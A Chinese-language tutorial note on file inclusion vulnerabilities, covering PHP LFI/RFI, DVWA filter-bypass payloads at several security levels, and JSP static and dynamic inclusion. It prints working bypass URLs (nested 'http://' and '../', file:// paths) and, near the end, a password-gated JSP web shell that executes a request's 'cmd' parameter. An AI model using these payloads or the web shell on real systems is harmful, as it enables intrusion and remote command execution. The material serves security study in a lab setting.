文件包含漏洞
目錄遍歷漏洞在國內外有許多不同的叫法,也可以叫做信息泄露漏洞、非授權文件包含漏洞等。
文件包含分類
LFI:本地文件包含(Local File Inclusion)
RFI:遠程文件包含(Remote File Inclusion)
與文件包含有關的函數
include():只有代碼執行到該函數時才會包含文件進來,發生錯誤時只給出一個警告並繼續向下執行。
include_once():和 include()功能相同,區別在於當重復調用同一文件時,程序只調用一次。
require():只要程序執行就包含文件進來,發生錯誤時會輸出錯誤結果並終止運行。
require_once():和 require()功能相同,區別在於當重復調用同一文件時,程序只調用一次。
相關的 php.ini 配置參數
allow_url_fopen = on (默認開啟)
allow_url_include = on (默認關閉)
遠程文件包含是因為開啟了 php 配置中的 allow_url_fopen 選項(選項開啟之后,服務器允許包含一個遠程的文件)。
hackbar
文件上傳漏洞需要使用hackbar,一款火狐插件,官網下載
DVWA測試
Low級別
沒有任何判斷,可以執行任何路徑
本地用../等路徑查看文件,遠程用http等查看文件。
Medium級別
進行了如下字符的過濾
http:// https:// ../ ..\
本地文件直接用絕對路徑,相對路徑可以用..././..././..././dvwa/php.ini
遠程文件用htthttp://p:
http://www.dvwa.com/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.txt
High級別
要求page
參數的開頭必須是file
,服務器才會去包含相應的文件。
然可以利用file
協議繞過防護策略
http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
Impossible級別
直接利用白名單機制
jsp的文件包含漏洞
jsp的文件包含分靜態包含的動態包含兩種:
靜態包含:<%@include file="top.jsp"%>
動態包含:<jsp:include page="top.jsp" />
就目前了解靜態包含是不存在問題的,因為file的參數不能動態賦值
而動態包含是存在問題的
php文件包含有本地文件包含和遠程文件包含兩種
java文件包含的時候也是分這兩種情況
1.本地文件包含:
目前我對java的本地文件包含的理解為:造成的危害就只有文件讀取,一般情況下是不能造成命令執行或代碼執行的。php之所以能執行命令是因為包含txt文件,只要txt種的內容符合php程序的格式就能當成php來解析,也就是說攻擊者可能上傳一個一句話木馬后綴是txt,上傳后利用文件包含漏洞包含他就可以了。java則沒有次特征。所以個人認為java的本地文件包含漏洞很難造成代碼執行的漏洞的(當然,要是直接包含一個一句話木馬的jsp文件還是可以執行命令的,問題要是有這樣一個木馬jsp文件,你又知道路徑,為什么不知道訪問呢?),有種特殊情況就是,通過某種手段在服務器上生成了一句話木馬文件但是在特點文件夾下,訪問權限不夠時可以利用此文件包含漏洞包含她。
html>
<head>
<title>測試頁面</title>
</head>
<body>
靜態包含
top.jsp文件
<%@include file="top.jsp"%>
<%@include file="pass.txt"%>
<%@include file="WEB-INF/web.xml"%>
<% String name = request.getParameter("name");%>
動態包含
<jsp:include page="top.jsp" />
<jsp:include page="pass.txt" />
<jsp:include page="WEB-INF/web.xml" />
<jsp:include page="http://www.njuae.cn/index.jsp" />
<%-- <jsp:include page="<%=name%>" />--%>
<%--<jsp:include page="oneword.txt" />--%>
</body>
</html>
2.遠程文件包含:
經測試發現<jsp:include page="http://www.***.com/index.jsp" />能正常包含文件,但是運行時會報錯,不知道為什么,以后再研究,目前看來應該是沒有該漏洞的。
<% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
參考
http://www.storysec.com/dvwa-file-inclusion.html